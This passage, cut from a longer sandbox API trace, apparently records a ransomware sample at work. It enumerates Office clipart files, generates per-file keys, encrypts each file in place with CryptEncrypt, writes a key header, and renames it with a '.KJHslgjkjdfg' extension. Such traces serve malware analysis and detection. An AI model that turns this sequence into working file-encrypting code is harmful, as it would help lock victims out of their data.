lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.861] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.861] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.862] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.862] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.862] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.862] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x49d2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x49d2, lpOverlapped=0x0) returned 1 [0188.863] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x49e0, dwBufLen=0x49e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x49e0) returned 1 [0188.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.863] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x49e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x49e0, lpOverlapped=0x0) returned 1 [0188.863] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.863] SetEndOfFile (hFile=0x114) returned 1 [0188.866] GetProcessHeap () returned 0x2a0000 [0188.866] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.866] GetProcessHeap () returned 0x2a0000 [0188.866] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.kjhslgjkjdfg")) returned 1 [0188.868] CloseHandle (hObject=0x114) returned 1 [0188.868] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0188.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.869] GetProcessHeap () returned 0x2a0000 [0188.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.869] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.869] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0188.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.873] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.873] GetProcessHeap () returned 0x2a0000 [0188.873] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.873] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.873] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.873] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.873] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.873] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.873] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.874] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.874] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78af, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x78af, lpOverlapped=0x0) returned 1 [0188.875] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x78b0, dwBufLen=0x78b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x78b0) returned 1 [0188.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.876] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x78b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x78b0, lpOverlapped=0x0) returned 1 [0188.876] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.876] SetEndOfFile (hFile=0x114) returned 1 [0188.878] GetProcessHeap () returned 0x2a0000 [0188.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.879] GetProcessHeap () returned 0x2a0000 [0188.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.kjhslgjkjdfg")) returned 1 [0188.880] CloseHandle (hObject=0x114) returned 1 [0188.881] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0188.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.882] GetProcessHeap () returned 0x2a0000 [0188.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.882] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.882] GetProcessHeap () returned 0x2a0000 [0188.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.885] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.885] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.885] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.885] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.885] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7450, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7450, lpOverlapped=0x0) returned 1 [0188.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7450, dwBufLen=0x7450 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7450) returned 1 [0188.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.887] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7450, lpOverlapped=0x0) returned 1 [0188.887] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.887] SetEndOfFile (hFile=0x114) returned 1 [0188.890] GetProcessHeap () returned 0x2a0000 [0188.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.890] GetProcessHeap () returned 0x2a0000 [0188.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.kjhslgjkjdfg")) returned 1 [0188.892] CloseHandle (hObject=0x114) returned 1 [0188.892] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0188.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.894] GetProcessHeap () returned 0x2a0000 [0188.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.894] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0188.898] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.898] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.898] GetProcessHeap () returned 0x2a0000 [0188.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.898] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.898] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.898] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.898] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.898] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.898] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.899] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.899] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.899] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa343, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa343, lpOverlapped=0x0) returned 1 [0188.900] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa350, dwBufLen=0xa350 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa350) returned 1 [0188.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.901] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa350, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa350, lpOverlapped=0x0) returned 1 [0188.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.901] SetEndOfFile (hFile=0x114) returned 1 [0188.904] GetProcessHeap () returned 0x2a0000 [0188.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.904] GetProcessHeap () returned 0x2a0000 [0188.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.kjhslgjkjdfg")) returned 1 [0188.906] CloseHandle (hObject=0x114) returned 1 [0188.906] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0188.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.908] GetProcessHeap () returned 0x2a0000 [0188.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.908] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.908] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0188.912] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.912] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.912] GetProcessHeap () returned 0x2a0000 [0188.912] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.913] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.913] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.913] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.913] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa445, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 